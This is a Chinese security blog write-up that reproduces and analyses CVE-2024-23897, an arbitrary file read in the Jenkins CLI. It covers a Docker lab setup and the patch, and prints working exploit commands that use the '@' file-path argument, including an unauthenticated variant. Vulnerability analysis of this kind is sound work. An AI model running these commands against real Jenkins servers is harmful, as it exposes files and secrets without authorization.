烽火狼烟|Jenkins任意文件读取漏洞(CVE-2024-23897复现及分析

admin 2024年1月28日21:23:01评论31 views字数 1637阅读5分27秒阅读模式

点击蓝字 关注我们  / Vuln's Day

烽火狼烟|Jenkins任意文件读取漏洞(CVE-2024-23897复现及分析

01

·环境搭建·

利用Docker环境来部署Jenkins,执行如下命令:
 docker pull bitnami/jenkins:2.426.2-debian-11-r3 docker run -e "JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=0.0.0.0:5005" -d --name jenkins -p 8081:8080 -p 8777:5005 bitnami/jenkins:2.426.2-debian-11-r3
管理员账号密码为:
user/bitnami

02

·漏洞分析·

CVE-2024-23897

通过官网通告了解到问题出在args4j 库解析参数时会把@后的字符串作为文件名去读取文件,且此功能默认启用

烽火狼烟|Jenkins任意文件读取漏洞(CVE-2024-23897复现及分析

据官方手册可得jenkins的cli用法如下

烽火狼烟|Jenkins任意文件读取漏洞(CVE-2024-23897复现及分析

客户端jar由目标jenkins拼接/jnlpJars/jenkins-cli.jar即可下载

烽火狼烟|Jenkins任意文件读取漏洞(CVE-2024-23897复现及分析

随机使用官方的测试命令测试可用性

烽火狼烟|Jenkins任意文件读取漏洞(CVE-2024-23897复现及分析

经初步验证,Jenkins CLI工具的可用性得到确认。接下来深入研究补丁代码,参考链接如下:
https://github.com/jenkinsci/jenkins/commit/554f03782057c499c49bbb06575f0d28b5200edb
核心改动为:
 ParserProperties properties = ParserProperties.defaults().withAtSyntax(ALLOW_AT_SYNTAX);

烽火狼烟|Jenkins任意文件读取漏洞(CVE-2024-23897复现及分析

关键修复点在于引入了新的配置项,设置ParserProperties以禁用(或限制)@语法特性:

ParserProperties properties = ParserProperties.defaults().withAtSyntax(ALLOW_AT_SYNTAX);
运行命令
 java -jar jenkins-cli.jar -s http://localhost:8081/ -auth user:bitnami -webSocket who-am-i在调试过程中,我们设置了断点于hudson.cli.CLICommand.getCmdLineParser()方法上,通过执行特定命令行指令触发漏洞逻辑:
经过跟踪调试,当解析到包含@符号的命令行参数时,会依据ParserProperties中的getAtSyntax()方法判断是否启用文件读取功能。默认情况下,此功能为启用状态,因此会将@符号后的字符串作为文件路径读取内容,并将其结果赋值给result变量。
我们在docker中创建一个/tmp/1.txt文件
烽火狼烟|Jenkins任意文件读取漏洞(CVE-2024-23897复现及分析
输入如下命令
 java -jar jenkins-cli.jar -s http://localhost:8081/ -auth user:bitnami -webSocket who-am-i @/tmp/1.txt
再次进行调试,发现会把/tmp/1.txt内容读取出来

烽火狼烟|Jenkins任意文件读取漏洞(CVE-2024-23897复现及分析

后面发现把-auth删除发现也可以进入命令行解析流程,触发漏洞。无权限即可文件读取
 java -jar jenkins-cli.jar  -s http://localhost:8081/ -http who-am-i @/tmp/1.txt

烽火狼烟|Jenkins任意文件读取漏洞(CVE-2024-23897复现及分析

03

·总结·

CVE-2024-23897漏洞揭示了args4j库在处理Jenkins CLI命令行参数时的一个设计缺陷,即默认允许使用@符号引用文件内容,这可能导致未经身份验证的任意文件读取。虽然只能读取文件的第一行,但仍然会造成危害。
其中jenkins-cli.jar需要对应目标下的jenkins-cli.jar,否则会报错。
最后建议加固口令&及时升级Jenkins版本至安全版本。
END
烽火狼烟|Jenkins任意文件读取漏洞(CVE-2024-23897复现及分析
关注东方隐侠
让安全界刮起侠客风

烽火狼烟|Jenkins任意文件读取漏洞(CVE-2024-23897复现及分析

原文始发于微信公众号(东方隐侠安全团队):烽火狼烟|Jenkins任意文件读取漏洞(CVE-2024-23897复现及分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月28日21:23:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   烽火狼烟|Jenkins任意文件读取漏洞(CVE-2024-23897复现及分析http://cn-sec.com/archives/2436972.html

发表评论

匿名网友 填写信息